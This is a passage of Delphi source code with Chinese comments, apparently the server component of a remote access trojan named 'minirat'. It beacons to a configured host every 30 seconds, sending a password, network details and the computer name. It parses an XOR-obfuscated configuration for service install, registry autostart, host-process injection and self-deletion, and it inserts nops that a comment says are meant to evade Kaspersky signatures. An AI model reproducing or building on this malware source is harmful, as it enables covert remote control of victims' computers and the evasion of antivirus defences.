  899.     Sock := Socket(AF_INET, SOCK_STREAM, 0);
  900.     Addr.sin_family := AF_INET;
  901.     Addr.sin_port := hTons(Port);
  902.     Addr.sin_addr.S_addr := inet_Addr(pChar(Host));
  904.     if (Winsock.Connect(Sock, Addr, SizeOf(Addr)) = 0) then
  905.     begin
  906.       SendData('01 ' + password + #10);
  907.       SendData('02 ' + version + #10);
  908.       SendData('03 ' + getnet + #10);
  909.       SendData('20 ' + ComputerName + #10);
  910.       ReceiveData;
  911.     end;
  912.     Sleep(30000);
  913.     LastDir := '';
  915.   until (Close);
  917.   WSACleanUP();
  918. end;
  920. procedure ReadFileStr(dName: string; var Content: string);
  921. var
  922.   FContents: file of Char;
  923.   FBuffer: array[1..1024] of Char;
  924.   rLen: LongInt;
  925.   FSize: LongInt;
  926. begin
  927.   try
  928.     Content := '';
  929.     AssignFile(FContents, dName); // 访问正在使用的 文本文件
  930.     Reset(FContents);
  931.     FSize := FileSize(FContents);
  933.     while not EOF(FContents) do
  934.     begin
  935.       BlockRead(FContents, FBuffer, 1024, rLen); // 读记录
  936.       Content := Content + string(FBuffer);
  937.     end;
  938.     CloseFile(FContents);
  940.     if Length(Content) > FSize then
  941.       Content := Copy(Content, 1, FSize);
  942.   except
  943.     Exit;
  944.   end;
  945. end;
  947. //间单加密一下－－－－－－－－－－－－－－
  948. function EncryptText(Text: string): string;
  949. var
  950.   I: Word;
  951.   C: Word;
  952. begin
  953.   Result := '';
  954.   for I := 1 to Length(Text) do
  955.   begin
  956.     C := Ord(Text[I]);
  957.     Result := Result + Chr((C xor 12));
  958.   end;
  959. end;
  961. //读取所有配置信息 －－－－－－－－－－－－－－
  962. procedure ReadSettings;
  963. var
  964.   I: Word;
  965.   Settings: string;
  966.   FileContent: string;
  967.   NewFileName: string;
  969. begin
  970. //  NewFileName := ParamStr(0) + '_'; //生成文件名
  971. //  CopyFile(pChar(ParamStr(0)), pChar(NewFileName), False); //复制
  973.   ReadFileStr(ConFile, FileContent);
  975.   I := Length(FileContent);
  976.   Settings := '';
  978.   while (I > 0) and (FileContent[i] <> #00) do
  979.   begin
  980.     Settings := FileContent[i] + Settings;
  981.     Dec(I);
  982.   end;
  984.   if (Settings = '') then
  985.   begin
  986.     DeleteFile(pChar(NewFileName));
  987.     Uninstall;
  988.   end;
  990.   Settings := EncryptText(Settings);
  992.   pz^.Urlhttp := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //x
  993.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  994.   pz^.dConType := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); ////连接类型; 0:主动连接，1:被动连接
  995.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  996.   pz^.dDnsHost := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //100
  997.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  998.   pz^.dLocalPort := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //被动连接端口
  999.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1000.   pz^.dRemotePort := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //主动连接端口
  1001.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1002.   pz^.dPass := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //连接客码
  1003.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1004.   pz^.dGroup := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //上线组
  1005.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1006.   pz^.dRunAsSrv := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //以服务运行  1:以服务运行，2:注册自动启动
  1007.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1008.   pz^.dInsPath := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //安装路      0:<window> 1:<system> 2<templete>
  1009.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1010.   pz^.dInsFileName := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //安装文件名称
  1011.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1012.   pz^.dIsAutoDelMe := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //是否自己删除自己 0:不删除 1:删除自己
  1013.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1015.   pz^.dSrvView := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //服务说明
  1016.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1017.   pz^.dSrvName := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //服务名称
  1018.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1019.   pz^.dSrvText := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //服务描述
  1020.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1022.   pz^.dMainThread := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //Start.exe线程ID
  1023.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1024.   strcopy(pz^.dhostProcess,PChar(Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))))); //缩主进程名
  1025.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1026.  strcopy(pz^.dDllFile,PChar(Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))))); //缩主进程名
  1027.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1029.   pz^.dRegLM := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //注册在HKEY_LOCAL_MACHINE
  1030.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1031.   pz^.dRegCU := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //注册在HKEY_CURRENT_USER
  1032.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1033.   pz^.dRegSH := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //注册为Shell Explorer
  1034.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1035. //  DeleteFile(pChar(NewFileName));
  1036. end;
  1038. //获取系统目录 --------------------
  1039. function GetDirectory(dInt: Integer): string;
  1040. var
  1041.   S: array[0..255] of Char;
  1042. begin
  1043.   case dInt of
  1044.     0: GetWindowsDirectory(@S, 256);
  1045.     1: GetSystemDirectory(@S, 256);
  1046.   end;
  1047.   Result := string(S) + '';
  1048. end;
  1050. procedure miniratMain;
  1051. begin
  1052.   asm   //改成卡吧不能特征码
  1053.     nop
  1054.     nop
  1055.   end;
  1057.   Serv := TServer.Create;
  1058.   while not (InternetGetConnectedState(nil, 0)) do
  1059.     Sleep(5000);
  1060.   Serv.Connect;
  1061. end;
  1062. end.